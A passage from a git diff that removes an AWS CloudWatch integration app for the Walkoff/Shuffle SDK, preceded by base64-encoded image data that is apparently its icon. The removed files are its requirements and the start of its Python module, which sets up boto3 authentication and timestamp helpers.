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 diff --git a/aws-cloudwatch/1.0.0/requirements.txt b/aws-cloudwatch/1.0.0/requirements.txt deleted file mode 100644 index 9c1b76e6..00000000 --- a/aws-cloudwatch/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -boto3==1.20.20 -requests==2.25.1 diff --git a/aws-cloudwatch/1.0.0/src/app.py b/aws-cloudwatch/1.0.0/src/app.py deleted file mode 100644 index 9003a705..00000000 --- a/aws-cloudwatch/1.0.0/src/app.py +++ /dev/null @@ -1,169 +0,0 @@ -import datetime -import socket -import asyncio -import time -import random -import json -import boto3 -import botocore -from botocore.config import Config - -from walkoff_app_sdk.app_base import AppBase - -def datetime_handler(x): - """ This function is used make datetime object json serilizable, - removing this function can cause error in some actions """ - - if isinstance(x, datetime.datetime): - return x.isoformat() - raise TypeError("Unknown type") - -def unix_timestamp(datetime_str): - """ - input format : 'dd/mm/yyyy hour:minuteAM/PM' - example : '20/11/2021 11:00AM' - - """ - return int(time.mktime(datetime.datetime.strptime(datetime_str, "%d/%m/%Y %I:%M%p").timetuple())) - -class CloudWatch(AppBase): - __version__ = "1.0.0" - app_name = "AWS cloudwatch logs" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def auth_cloudwatch(self, access_key, secret_key, region): - my_config = Config( - region_name = region, - signature_version = 'v4', - retries = { - 'max_attempts': 10, - 'mode': 'standard' - }, - ) - - self.cloudwatch = boto3.client( - 